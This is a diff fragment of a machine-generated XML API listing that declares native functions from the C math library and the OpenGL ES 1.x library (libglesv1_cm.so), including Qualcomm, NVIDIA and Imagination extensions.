+ <method abstract="false" deprecated="not deprecated" final="true" name="jnf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="cbrt" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="erfl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="scalbln" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="csinhl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="expm1f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pow" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="creal" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="lroundf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ccosf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="round" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fmod" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="lgammaf_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ccosh" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="expm1l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ctanhf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gammaf_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fdim" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="lroundl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ccosl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ctanhl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="expf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="nearbyint" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="casin" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="atan" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="expl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="lrint" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ynf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="lgamma_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fegetexceptflag" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="hypotf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="llroundf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="log10f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="rint" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="expm1" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="floorf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="hypotl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="llroundl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ </class>
+ <class abstract="false" deprecated="not deprecated" final="true" name="libglesv1_cm.so" static="false" visibility="public">
+ <method abstract="false" deprecated="not deprecated" final="true" name="glExtGetFramebuffersQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glFinishFenceNV" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glPointParameterfv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glExtGetTexLevelParameterivQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glPointSizePointerOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glPointSizePointerOESBounds" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glEnableClientState" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glFogf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexEnvf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDrawTexiOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexEnvi" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glExtGetProgramsQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetLightfv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glMultiTexCoord4f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDeleteFencesNV" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetTexEnvxv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glExtGetBuffersQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDrawElements" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glClear" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glColor4f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBindFramebufferOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glFogx" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexEnvx" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexGenivOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glClearColorx" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDrawTexfOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexEnvxv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetTexGenfvOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glMultiTexCoord4x" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glClearDepthxOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glOrthoxOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glExtGetTexturesQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glEndTilingQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDeleteRenderbuffersOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetMaterialfv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glColor4x" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glColorPointer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glExtGetProgramBinarySourceQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetTexEnviv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glFlush" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexGenxvOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glCullFace" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glCopyTexSubImage2D" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glMaterialfv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetTexEnvxvOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glNormal3f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glColorMask" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glFrustumxOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetBooleanv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glColorPointerBounds" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glStencilMask" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDrawTexfvOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexEnviv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glVertexPointerBounds" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGenBuffers" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glScissor" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetFixedv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glWeightPointerOESBounds" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetMaterialxvOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glLoadIdentity" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glPointParameterxOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glCurrentPaletteMatrixOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDisable" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetClipPlanef" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glIsTexture" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexParameterxv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetLightxvOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glNormalPointerBounds" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glViewport" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glFinish" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glClipPlanefOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDeleteTextures" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glPointParameterxv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glRotatexOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBlendFunc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glNormal3x" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexParameterxOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBindRenderbufferOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glFogxvOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexParameterxvOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glEnableDriverControlQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glEnable" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glActiveTexture" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexImage2D" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBufferData" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glOrthof" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glMultMatrixf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetLightxv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glClearColor" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetClipPlanex" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexGeniOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glLightModelfv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glLineWidthxOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glIsVertexArrayOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glLineWidthx" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGenRenderbuffersOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glSampleCoveragexOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glMatrixIndexPointerOESBounds" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetTexParameterxvOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glStartTilingQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetRenderbufferParameterivOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glMultiTexCoord4xOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glOrthox" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glAlphaFunc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexParameteriv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glMatrixIndexPointerOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glMultMatrixx" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBindVertexArrayOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glClipPlanefIMG" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glScalexOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexEnvxOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glExtGetRenderbuffersQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexGenfOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetIntegerv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glLightf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glShadeModel" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDepthRangefOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGenerateMipmapOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glHint" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGenFramebuffersOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexCoordPointer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glClipPlanef" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetMaterialxv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glLightxvOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glScalef" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDisableClientState" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glMaterialxOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDeleteFramebuffersOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glFramebufferTexture2DOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUnmapBufferOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexParameterf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDepthFunc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexParameteri" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glMaterialxv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glQueryMatrixxOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetError" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glWeightPointerOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glLightx" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDrawTexsOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetFenceivNV" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glRotatef" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glClipPlanex" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetString" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glScalex" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexGenfvOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glExtGetShadersQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetDriverControlsQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexCoordPointerBounds" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glMultiDrawElementsEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glMapBufferOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexParameterx" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetPointerv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetTexParameterfv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glLogicOp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glPolygonOffsetxOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glClientActiveTexture" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetFloatv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glLightfv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glExtIsProgramBinaryQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glFrontFace" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetClipPlanexOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glPushMatrix" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glExtGetTexSubImageQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glRenderbufferStorageOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glIsBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glMultMatrixxOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glNormal3xOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGenFencesNV" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glRotatex" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBlendEquationOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glCheckFramebufferStatusOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glColor4xOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDisableDriverControlQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glSampleCoveragex" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexEnvxvOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glClearColorxOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glFogfv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glLoadMatrixxOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glSetFenceNV" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glClearDepthfOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glOrthofOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetDriverControlStringQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glCopyTexImage2D" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glFramebufferTexture2DMultisampleIMG" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glLightModelxv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glExtTexObjectStateOverrideiQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glReadPixels" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glIsEnabled" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDrawArrays" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glIsFenceNV" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glPointParameterxvOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glCompressedTexSubImage2D" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glStencilOp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDepthRangef" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glIsRenderbufferOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
